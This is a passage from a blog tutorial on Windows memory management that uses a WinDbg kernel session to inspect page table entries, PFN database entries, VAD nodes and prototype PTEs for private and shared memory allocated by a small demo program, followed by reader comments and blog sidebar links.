5 |  DirBase: 001aa000 ObjectTable: ffffd385360012c0 HandleCount: 2376.  
6 |  Image: System  
7 |   
8 | PROCESS ffffa50dcee27140  
9 |  SessionId: none Cid: 01f4 Peb: dbfb731000 ParentCid: 0004  
10 |  DirBase: 138ab8000 ObjectTable: ffffd38536339d40 HandleCount: 52.  
11 |  Image: smss.exe  
12 |   
13 | PROCESS ffffa50dcfb467c0  
14 |  SessionId: 0 Cid: 0248 Peb: 5faaf3c000 ParentCid: 0240  
15 |  DirBase: 138f83000 ObjectTable: ffffd385363d0f00 HandleCount: 531.  
16 |  Image: csrss.exe  
17 |   
18 | ...  
19 |   
20 | PROCESS ffffa50dd1070380  
21 |  SessionId: 1 Cid: 097c Peb: 6f29798000 ParentCid: 02b4  
22 |  DirBase: 1500d000 ObjectTable: ffffd3853d7ed380 HandleCount: 37.  
23 |  Image: memdemo.exe  
view raw tf-article2-windbg-19.txt hosted with ❤ by GitHub

  

Let's quickly switch back to the application so that we can let it create our
initial buffer. To do this, we're simply allocating some memory and then
accessing it to make sure it's resident.  
  

1 | // Allocate a buffer within our process.  
---|---  
2 | PVOID Private = VirtualAlloc\(NULL, 4096, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE\);  
3 |   
4 | // Use the memory to make sure it's resident.  
5 | reinterpret\_cast<PBYTE>\(Private\)\[0\] = 0xFF;  
view raw tf-article2-code1.txt hosted with ❤ by GitHub

  
Upon running the code, we see that the application has created a buffer for us
\(in the current example\) at 0x000001fe\`151c0000. Your buffer may differ.  
  
We should hop back into our debugger now and check out that memory address. As
mentioned before, it's important to remember to switch back into the process
context of memdemo.exe when we break back in with the debugger. We have no
idea what context we could have been in when we interrupted execution, so it's
important to always do this step.  
  

1 | kd> .process /i /P ffffa50dd1070380  
---|---  
2 | You need to continue execution \(press 'g' <enter>\) for the context  
3 | to be switched. When the debugger breaks in again, you will be in  
4 | the new process context.  
5 | kd> g  
6 | Break instruction exception - code 80000003 \(first chance\)  
7 | nt\!DbgBreakPointWithStatus:  
8 | fffff801\`d9df7a40 cc int 3  
view raw tf-article2-windbg-20.txt hosted with ❤ by GitHub

  
When we wrote memdemo.exe, we could have used the \_\_debugbreak\(\) compiler
intrinsic to avoid having to constantly switch back to our process' context.
It would ensure that when the breakpoint was hit, we were already in the
correct context. For the purposes of this article, though, it's best to
practice swapping back into the correct process context, as during most live
analysis we would not have the liberty of throwing int3 exceptions during the
program's execution.  
  
We can now check out the memory at 0x000001fe\`151c0000 using the db command.  
  

1 | kd> db 0x000001fe\`151c0000  
---|---  
2 | 000001fe\`151c0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
3 | 000001fe\`151c0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
4 | 000001fe\`151c0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
5 | 000001fe\`151c0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
6 | 000001fe\`151c0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
7 | 000001fe\`151c0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
8 | 000001fe\`151c0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
9 | 000001fe\`151c0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
view raw tf-article2-windbg-21.txt hosted with ❤ by GitHub

  
Looks like that was a success - we can even see the 0xff byte that we wrote to
it. Let's have a look at the backing PTE for this page using the \!pte
command.  
  

1 | 6: kd> \!pte 0x000001fe\`151c0000  
---|---  
2 |  VA 000001fe151c0000  
3 | PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00  
4 | contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 80000000A1DD0867  
5 | pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a1dd0 ---DA--UW-V  
view raw tf-article2-windbg-22.txt hosted with ❤ by GitHub

  
That's good news. It seems like the Valid \(V\) bit is set, which is what we
expect. The memory is Writeable \(W\), as well, which makes sense based on our
PAGE\_READWRITE permissions. Let's look at the PFN database entry using \!pfn
for page 0xa1dd0.  
  

1 | kd> \!pfn 0xa1dd0  
---|---  
2 |  PFN 000A1DD0 at address FFFFE70001E59700  
3 |  flink 00000002 blink / share count 00000001 pteaddress FFFFED00FF0A8E00  
4 |  reference count 0001 used entry count 0000 Cached color 0 Priority 5  
5 |  restore pte 00000080 containing page 016609 Active M   
6 |  Modified   
view raw tf-article2-windbg-23.txt hosted with ❤ by GitHub

  
We can see that the PFN entry points to the same PTE structure we were just
looking at. We can go to the address of the PTE at 0xffffed00ff0a8e00 and cast
it as an nt\!\_MMPTE.  
  

1 | kd> dt nt\!\_MMPTE 0xffffed00ff0a8e00 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0x80000000\`a1dd0867  
4 |  +0x000 VolatileLong : 0x80000000\`a1dd0867  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y1  
7 |  +0x000 Dirty1 : 0y1  
8 |  +0x000 Owner : 0y1  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y1  
12 |  +0x000 Dirty : 0y1  
13 |  +0x000 LargePage : 0y0  
14 |  +0x000 Global : 0y0  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 \(0xa1dd0\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y0000  
22 |  +0x000 WsleProtection : 0y000  
23 |  +0x000 NoExecute : 0y1  
24 | …  
view raw tf-article2-windbg-24.txt hosted with ❤ by GitHub

  
We see that it's Valid, Dirty, Accessed, and Writeable, which are all things
that we expect. The Accessed bit is set by the hardware when the page table
entry is used for translation. If that bit is set, it means that at some point
the memory has been accessed because the PTE was used as part of an address
translation. Software can reset this value in order to track accesses to
certain memory. Similarly, the Dirty bit shows that the memory has been
written to, and is also set by the hardware. We see that it's set for us
because we wrote our 0xff byte to the page.  
  
Now let's let the application execute using the g command. We're going to let
the program page out the memory that we were just looking at, using the
following code:  
  

1 | // Unlock the virtual memory \(just in case\).  
---|---  
2 | VirtualUnlock\(Private, 4096\);  
3 |   
4 | // Flush the process' working set.  
5 | SetProcessWorkingSetSize\(GetCurrentProcess\(\), \(SIZE\_T\)-1, \(SIZE\_T\)-1\);  
view raw tf-article2-code2.txt hosted with ❤ by GitHub

  
Once that's complete, don't forget to switch back to the process context
again. We need to do that every time we go back into the debugger\! Now let's
check out the PTE with the \!pte command after the page has been supposedly
trimmed from our working set.  
  

1 | kd> \!pte 0x000001fe\`151c0000  
---|---  
2 |  VA 000001fe151c0000  
3 | PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E00  
4 | contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains 00000000A1DD0880  
5 | pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV not valid  
6 |  Transition: a1dd0  
7 |  Protect: 4 - ReadWrite  
view raw tf-article2-windbg-25.txt hosted with ❤ by GitHub

  
We see now that the PTE is no longer valid, because the page has been trimmed
from our working set; however, it has not been paged out of RAM yet. This
means it is in a transition state, as shown by WinDbg. We can verify this for
ourselves by looking at the actual PTE structure again.  
  

1 | kd> dt nt\!\_MMPTE 0xffffed00ff0a8e00 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0xa1dd0880  
4 |  +0x000 VolatileLong : 0xa1dd0880  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y0  
7 |  +0x000 Dirty1 : 0y0  
8 |  +0x000 Owner : 0y0  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y0  
12 |  +0x000 Dirty : 0y0  
13 |  +0x000 LargePage : 0y1  
14 |  +0x000 Global : 0y0  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 \(0xa1dd0\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y0000  
22 |  +0x000 WsleProtection : 0y000  
23 |  +0x000 NoExecute : 0y0  
24 | ...  
25 |  +0x000 Trans : \_MMPTE\_TRANSITION  
26 |  +0x000 Valid : 0y0  
27 |  +0x000 Write : 0y0  
28 |  +0x000 Spare : 0y00  
29 |  +0x000 IoTracker : 0y0  
30 |  +0x000 Protection : 0y00100 \(0x4\)  
31 |  +0x000 Prototype : 0y0  
32 |  +0x000 Transition : 0y1  
33 |  +0x000 PageFrameNumber : 0y000000000000000010100001110111010000 \(0xa1dd0\)  
34 |  +0x000 Unused : 0y0000000000000000 \(0\)  
35 | ...  
view raw tf-article2-windbg-26.txt hosted with ❤ by GitHub

  
In the \_MMPTE\_TRANSITION version of the structure, the Transition bit is
set. So because the memory hasn't yet been paged out, if our program were to
access that memory, it would cause a soft page fault that would then simply
mark the PTE as valid again. If we examine the PFN entry with \!pfn, we can
see that the page is still resident in physical memory for now, and still
points to our original PTE.

  

1 | kd> \!pfn 0xa1dd0  
---|---  
2 |  PFN 000A1DD0 at address FFFFE70001E59700  
3 |  flink 0001614A blink / share count 0013230A pteaddress FFFFED00FF0A8E00  
4 |  reference count 0000 used entry count 0000 Cached color 0 Priority 5  
5 |  restore pte 00000080 containing page 016609 Modified M   
6 |  Modified   
view raw tf-article2-windbg-27.txt hosted with ❤ by GitHub

  
Now let's press g again and let the app continue. It'll create a shared
section of memory for us. In order to do so, we need to create a file mapping
and then map a view of that file into our process.  
  

1 | // Create a section object to demonstrate shared memory.  
---|---  
2 | HANDLE Mapping = CreateFileMapping\(INVALID\_HANDLE\_VALUE, NULL, PAGE\_READWRITE, 0, 4096, L"memdemosec"\);  
3 |   
4 | // Map the section into our process.  
5 | PVOID Shared = MapViewOfFile\(Mapping, FILE\_MAP\_ALL\_ACCESS, 0, 0, 4096\);  
6 |   
7 | // Use the memory to make sure it's resident.  
8 | reinterpret\_cast<PBYTE>\(Shared\)\[0\] = 0xFF;  
view raw tf-article2-code3.txt hosted with ❤ by GitHub

  
Let's take a look at the shared memory \(at 0x000001fe\`151d0000 in this
example\) using db. Don't forget to change back to our process context when
you switch back into the debugger.  
  

1 | kd> db 0x000001fe\`151d0000  
---|---  
2 | 000001fe\`151d0000 ff 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
3 | 000001fe\`151d0010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
4 | 000001fe\`151d0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
5 | 000001fe\`151d0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
6 | 000001fe\`151d0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
7 | 000001fe\`151d0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
8 | 000001fe\`151d0060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
9 | 000001fe\`151d0070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................  
view raw tf-article2-windbg-28.txt hosted with ❤ by GitHub

  
And look\! There's the 0xff that we wrote to this memory region as well. We're
going to follow the same steps that we did with the previous allocation, but
first let's take a quick look at our process' VAD tree with the \!vad command.  
  

1 | kd> \!vad  
---|---  
2 | VAD Level Start End Commit  
3 | ffffa50dcf7a1660 4 7ffe0 7ffe0 1 Private READONLY   
4 | ffffa50dcf78c450 3 7ffe1 7ffef -1 Private READONLY   
5 | ffffa50dcf8a3240 4 6f29440 6f2953f 7 Private READWRITE   
6 | ffffa50dcf78b280 2 6f29600 6f297ff 3 Private READWRITE   
7 | ffffa50dd1bd9180 3 1fe15080 1fe1508f 0 Mapped READWRITE Pagefile section, shared commit 0  
8 | ffffa50dcf74b890 4 1fe15090 1fe15096 1 Private READWRITE   
9 | ffffa50dcfb58620 1 1fe150a0 1fe150b7 0 Mapped READONLY Pagefile section, shared commit 0  
10 | ffffa50dcf7595f0 3 1fe150c0 1fe150c3 0 Mapped READONLY Pagefile section, shared commit 0  
11 | ffffa50dcf669330 2 1fe150d0 1fe150d0 0 Mapped READONLY Pagefile section, shared commit 0  
12 | ffffa50dd027cdc0 0 1fe150e0 1fe150e0 1 Private READWRITE   
13 | ffffa50dd16580b0 4 1fe150f0 1fe151b4 0 Mapped READONLY \Windows\System32\locale.nls  
14 | ffffa50dd15f0470 3 1fe151c0 1fe151c0 1 Private READWRITE   
15 | ffffa50dd2313a20 4 1fe151d0 1fe151d0 0 Mapped READWRITE Pagefile section, shared commit 0  
16 | ffffa50dcfd121a0 2 1fe15280 1fe1537f 21 Private READWRITE   
17 | ffffa50dcf791350 3 7ff7f5c60 7ff7f5d5f 0 Mapped READONLY Pagefile section, shared commit 0  
18 | ffffa50dcf74fd50 1 7ff7f5d60 7ff7f5d82 0 Mapped READONLY Pagefile section, shared commit 0  
19 | ffffa50dcf721450 4 7ff7f62e0 7ff7f643d 95 Mapped Exe EXECUTE\_WRITECOPY \Users\Michael\Desktop\memdemo.exe  
20 | ffffa50dcf7a5780 3 7ffc3d340 7ffc3d3bd 5 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\apphelp.dll  
21 | ffffa50dcf7515c0 4 7ffc3f6d0 7ffc3f918 9 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\KernelBase.dll  
22 | ffffa50dd1708390 2 7ffc40120 7ffc401cd 6 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\kernel32.dll  
23 | ffffa50dcf74fdf0 3 7ffc42750 7ffc4292a 12 Mapped Exe EXECUTE\_WRITECOPY \Windows\System32\ntdll.dll  
24 |   
25 | Total VADs: 21, average level: 3, maximum depth: 4  
26 | Total private commit: 0xa2 pages \(648 KB\)  
27 | Total shared commit: 0 pages \(0 KB\)  
view raw tf-article2-windbg-29.txt hosted with ❤ by GitHub

  
You can see the first allocation we did, starting at virtual page number
0x1fe151c0. It's a Private region that has the PAGE\_READWRITE permissions
applied to it. You can also see the shared section allocated at VPN
0x1fe151d0. It has the same permissions as the non-shared region; however, you
can see that it's Mapped rather than Private.  
  
Let's take a look at the PTE information that's backing our shared memory.  
  

1 | kd> \!pte 0x000001fe\`151d0000  
---|---  
2 |  VA 000001fe151d0000  
3 | PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80  
4 | contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains C1000000A76CC867  
5 | pfn 1a907 ---DA--UWEV pfn 1b008 ---DA--UWEV pfn 16609 ---DA--UWEV pfn a76cc ---DA--UW-V  
view raw tf-article2-windbg-30.txt hosted with ❤ by GitHub

  
This region, too, is Valid and Writeable, just like we'd expect. Now let's
take a look at the \!pfn.

  

1 | kd> \!pfn a76cc   
---|---  
2 |  PFN 000A76CC at address FFFFE70001F64640  
3 |  flink 00000002 blink / share count 00000001 pteaddress FFFFD3853DA57B60  
4 |  reference count 0001 used entry count 0000 Cached color 0 Priority 5  
5 |  restore pte 00000080 containing page 002DCB Active MP   
6 |  Modified Shared   
view raw tf-article2-windbg-31.txt hosted with ❤ by GitHub

  
We see that the Share Count now actually shows us how many times the page has
been shared, and the page also has the Shared property. In addition, we see
that the PTE address referenced by the PFN entry is not the same as the PTE
that we got from the \!pte command. That's because the PFN database entry is
referencing a prototype PTE, while the PTE within our process is acting as a
hardware PTE because the memory is still valid and mapped in.  
  
Let's take a look at the PTE structure that's in our process' paging
structures, that was originally found with the \!pte command.  
  

1 | kd> dt nt\!\_MMPTE FFFFED00FF0A8E80 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0xc1000000\`a76cc867  
4 |  +0x000 VolatileLong : 0xc1000000\`a76cc867  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y1  
7 |  +0x000 Dirty1 : 0y1  
8 |  +0x000 Owner : 0y1  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y1  
12 |  +0x000 Dirty : 0y1  
13 |  +0x000 LargePage : 0y0  
14 |  +0x000 Global : 0y0  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 \(0xa76cc\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y0001  
22 |  +0x000 WsleProtection : 0y100  
23 |  +0x000 NoExecute : 0y1  
24 | ...  
view raw tf-article2-windbg-32.txt hosted with ❤ by GitHub

  
We can see that it's Valid, so it will be used by the hardware for address
translation. Let's see what we find when we take a look at the prototype PTE
being referenced by the PFN entry.  
  

1 | kd> dt nt\!\_MMPTE FFFFD3853DA57B60 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0x8a000000\`a76cc921  
4 |  +0x000 VolatileLong : 0x8a000000\`a76cc921  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y1  
7 |  +0x000 Dirty1 : 0y0  
8 |  +0x000 Owner : 0y0  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y1  
12 |  +0x000 Dirty : 0y0  
13 |  +0x000 LargePage : 0y0  
14 |  +0x000 Global : 0y1  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100111011011001100 \(0xa76cc\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y1010  
22 |  +0x000 WsleProtection : 0y000  
23 |  +0x000 NoExecute : 0y1  
24 | ...  
view raw tf-article2-windbg-33.txt hosted with ❤ by GitHub

  
This PTE is also valid, because it's representing the true state of the
physical page. Something interesting to note, though, is that you can see that
the Dirty bit is not set. Because this bit is only set by the hardware in the
context of whatever process is doing the writing, you can theoretically use
this bit to actually detect _which_ process on a system wrote to a shared
memory region.  
  
Now let's run the app more and let it page out the shared memory using the
same technique we used with the private memory. Here's what the code looks
like:  
  

1 | // Unlock the virtual memory \(just in case\).  
---|---  
2 | VirtualUnlock\(Shared, 4096\);  
3 |   
4 | // Flush the process' working set.  
5 | SetProcessWorkingSetSize\(GetCurrentProcess\(\), \(SIZE\_T\)-1, \(SIZE\_T\)-1\);  
view raw tf-article2-code4.txt hosted with ❤ by GitHub

  
Let's take a look at the memory with db now.  
  

1 | kd> db 0x000001fe\`151d0000  
---|---  
2 | 000001fe\`151d0000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
3 | 000001fe\`151d0010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
4 | 000001fe\`151d0020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
5 | 000001fe\`151d0030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
6 | 000001fe\`151d0040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
7 | 000001fe\`151d0050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
8 | 000001fe\`151d0060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
9 | 000001fe\`151d0070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????  
view raw tf-article2-windbg-34.txt hosted with ❤ by GitHub

  
We see now that it's no longer visible in our process. If we do \!pte on it,
let's see what we get.  
  

1 | kd> \!pte 0x000001fe\`151d0000  
---|---  
2 |  VA 000001fe151d0000  
3 | PXE at FFFFED76BB5DA018 PPE at FFFFED76BB403FC0 PDE at FFFFED76807F8540 PTE at FFFFED00FF0A8E80  
4 | contains 0A0000001A907867 contains 0A0000001B008867 contains 0A00000016609867 contains FFFFFFFF00000480  
5 | pfn 17f59 ---DA--UWEV pfn 7b5a ---DA--UWEV pfn 9a476 ---DA--UWEV not valid  
6 |  Proto: VAD  
7 |  Protect: 4 - ReadWrite  
view raw tf-article2-windbg-35.txt hosted with ❤ by GitHub

  
The PTE that's backing our page is no longer valid. We still get an indication
of what the page permissions were, but the PTE now tells us to refer to the
process' VAD tree in order to get access to the prototype PTE that contains
the real state. If you recall from when we used the \!vad command earlier in
our example, the address of the VAD node for our shared memory is
0xffffa50d\`d2313a20. Let's take a look at that memory location as an
nt\!\_MMVAD structure.  
  

1 | kd> dt nt\!\_MMVAD ffffa50dd2313a20  
---|---  
2 |  +0x000 Core : \_MMVAD\_SHORT  
3 |  +0x040 u2 : <unnamed-tag>  
4 |  +0x048 Subsection : 0xffffa50d\`d1db63e0 \_SUBSECTION  
5 |  +0x050 FirstPrototypePte : 0xffffd385\`3da57b60 \_MMPTE  
6 |  +0x058 LastContiguousPte : 0xffffd385\`3da57b60 \_MMPTE  
7 |  +0x060 ViewLinks : \_LIST\_ENTRY \[ 0xffffa50d\`d1db6368 - 0xffffa50d\`d1db6368 \]  
8 |  +0x070 VadsProcess : 0xffffa50d\`d1070380 \_EPROCESS  
9 |  +0x078 u4 : <unnamed-tag>  
10 |  +0x080 FileObject : \(null\)   
view raw tf-article2-windbg-36.txt hosted with ❤ by GitHub

  
The FirstPrototypePte member contains a pointer to a location in virtual
memory that stores contiguous prototype PTEs for the region of memory
represented by this VAD node. Since we only allocated \(and subsequently paged
out\) one page, there's only one prototype PTE in this list. The
LastContiguousPte member shows that our prototype PTE is both the first and
last element in the list. Let's take a look at this prototype PTE as an
nt\!\_MMPTE structure.  
  

1 | kd> dt nt\!\_MMPTE 0xffffd385\`3da57b60 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0xa7fad880  
4 |  +0x000 VolatileLong : 0xa7fad880  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y0  
7 |  +0x000 Dirty1 : 0y0  
8 |  +0x000 Owner : 0y0  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y0  
12 |  +0x000 Dirty : 0y0  
13 |  +0x000 LargePage : 0y1  
14 |  +0x000 Global : 0y0  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 \(0xa7fad\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y0000  
22 |  +0x000 WsleProtection : 0y000  
23 |  +0x000 NoExecute : 0y0  
24 | …  
view raw tf-article2-windbg-37.txt hosted with ❤ by GitHub

  
We can see that the prototype indicates that the memory is no longer valid. So
what can we do to force this page back into memory? We access it, of course.
Let's let the app run one more step so that it can try to access this memory
again.  
  

1 | // Use the memory one more time.  
---|---  
2 | reinterpret\_cast<PBYTE>\(Shared\)\[0\] = 0xFF;  
view raw tf-article2-code5.txt hosted with ❤ by GitHub

  
Remember to switch back into the context of the process after the application
has executed the next step, and then take a look at the PTE from the PFN entry
again.

  

1 | kd> dt nt\!\_MMPTE 0xffffd385\`3da57b60 -b  
---|---  
2 |  +0x000 u : <unnamed-tag>  
3 |  +0x000 Long : 0x8a000000\`a7fad963  
4 |  +0x000 VolatileLong : 0x8a000000\`a7fad963  
5 |  +0x000 Hard : \_MMPTE\_HARDWARE  
6 |  +0x000 Valid : 0y1  
7 |  +0x000 Dirty1 : 0y1  
8 |  +0x000 Owner : 0y0  
9 |  +0x000 WriteThrough : 0y0  
10 |  +0x000 CacheDisable : 0y0  
11 |  +0x000 Accessed : 0y1  
12 |  +0x000 Dirty : 0y1  
13 |  +0x000 LargePage : 0y0  
14 |  +0x000 Global : 0y1  
15 |  +0x000 CopyOnWrite : 0y0  
16 |  +0x000 Unused : 0y0  
17 |  +0x000 Write : 0y1  
18 |  +0x000 PageFrameNumber : 0y000000000000000010100111111110101101 \(0xa7fad\)  
19 |  +0x000 ReservedForHardware : 0y0000  
20 |  +0x000 ReservedForSoftware : 0y0000  
21 |  +0x000 WsleAge : 0y1010  
22 |  +0x000 WsleProtection : 0y000  
23 |  +0x000 NoExecute : 0y1  
view raw tf-article2-windbg-38.txt hosted with ❤ by GitHub

  
Looks like it's back, just like we expected\!  
  
Exhausted yet? Compared to the 64-bit paging scheme we talked about in our
last article, Windows memory management is significantly more complex and
involves a lot of moving parts. But at it's core, it's not too daunting.
Hopefully, now with a much stronger grasp of how things work under the hood,
we can put our memory management knowledge to use in something practical in a
future article.  
  
If you're interested in getting your hands on the code used in this article,
you can check it out on GitHub and experiment on your own with it.  
  
**  
****Further reading and attributions**  
  
Consider picking up a copy of "Windows Internals, 7th Edition" or "What Makes
It Page?" to get an even deeper dive on the Windows virtual memory manager.

  

Thank you to Alex Ionescu for additional tips and clarification. Thanks to
irqlnotdispatchlevel for pointing out an address miscalculation.

Architecture C++ Debugging Kernel Memory Management Tutorials WinDbg Windows

### Comments

  1. <img src='img/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35.png' width='35' height='35' />
Alex IonescuAugust 13, 2017 at 9:20 PM

Nice basic overview. There’s a few good books you may want to reference for
readers that want to go deeper — “How Does It Page?” and “Windows Internals”.  
  
FWIW, the table on my blog contains a much more accurate and up to date kernel
address space as ofWindows 8.1 and Windows 10 pre-Anniversary Update prior to
KASLR. You may want to use that information over the older CM post...
additionally WinDBG has the \!vm 0x21 extension which will dump the Win10
KASLR address ranges. It’s worth talking about the different kernel system VA
types for a better understanding of what goes on there \(but I understand this
post mostly focused on user mode\).  
  
One last comment — the working set does not describe the “full” set of pages
that can be accessed without a page fault \(note: a description if soft vs
hard page faults may have been useful\), but rather only those pages that are
subject to paging. For example, AWE memory mappings and large pages never
appear in the working set.

Reply

    1. <img src='img/3983_photo.jpg' width='35' height='35' />
Michael VanKuipersAugust 13, 2017 at 11:40 PM

Hey Alex\! Thanks a lot for reading it over.  
  
I've added some of your suggestions, with attribution. Really appreciate it.
The updated kernel address space layout just barely fits into the diagram -
phew\!  
  
I do plan to talk about the kernel VA regions in more detail in a future
article so I've left those descriptions out for now. Cheers\!

  2. <img src='img/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35.png' width='35' height='35' />
UnknownAugust 19, 2017 at 6:19 AM

Are shared pages pageable ? If yes, how does the memory manager walks all
currently active PTEs for the given page to mark them as invalid ?

Reply

    1. <img src='img/zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35.png' width='35' height='35' />
Alex IonescuAugust 19, 2017 at 6:23 AM

Hi "Unknown",  
  
Windows uses a concept called "Prototype PTE" \(PPTE\) to handle shared pages.
Therefore, the "prototype" PTE is updated to become invalid, while all the
regular PTEs will fault \(as they normally do\) with a special flag in the
MMPTE indicating that this is a "ProtoPTE", at which point the address of the
real PTE \(inside of the SEGMENT structure part of the CONTROL\_AREA\) will be
computed, which will show up as paged out \(or on the standby list\). It's
pretty confusing, the book does an OK job having some diagrams around this :\)

Load more...

#### Post a Comment

  

###  Popular posts from this blog

### Breaking backwards compatibility: a 5 year old bug deep within Windows

July 20, 2017

Microsoft has a great track record of maintaining support for legacy software
running under Windows. There is an entire compatibility layer baked into the
OS that is dedicated to fixing issues with decades old software running on
modern iterations of Windows. To learn more about this application
compatibility infrastructure, I'd recommend swinging over to Alex Ionescu's
blog. He has a great set of posts describing the technical details on how user
\(even kernel\) mode shimming is implemented.  
  
With all of that said, it's an understatement to say that Microsoft takes
backwards compatibility seriously. Occasionally, the humans at Microsoft make
mistakes. Usually, though, they're very quick to address these problems.  
  
This blog post will go over an unnoticed bug that was introduced in Windows 8
with a documented Win32 API. At the time of this post, this bug is still
present in Windows 10 \(Creator's Update\) and has been around for over 5
years.  
Forgotten Win32 APIs There i…

…

Read more

### Detecting debuggers by abusing a bad assumption within Windows

September 01, 2017

This blog post will go over an assumption made over a decade ago by Microsoft
when dealing with software breakpoints that can be used to reveal the presence
of most \(all publicly available?\) usermode and kernelmode debuggers.  
  

…

Read more

Powered by Blogger

Theme images by hdoddema

Copyright © 2017 Nemanja Mulasmajic and Michael VanKuipers. All rights
reserved

  

# Semiconductor Engineering .:. IIoT Grows, But So Do Risks

**Created:**| _5/8/2017 8:27:31 AM_  
---|---  
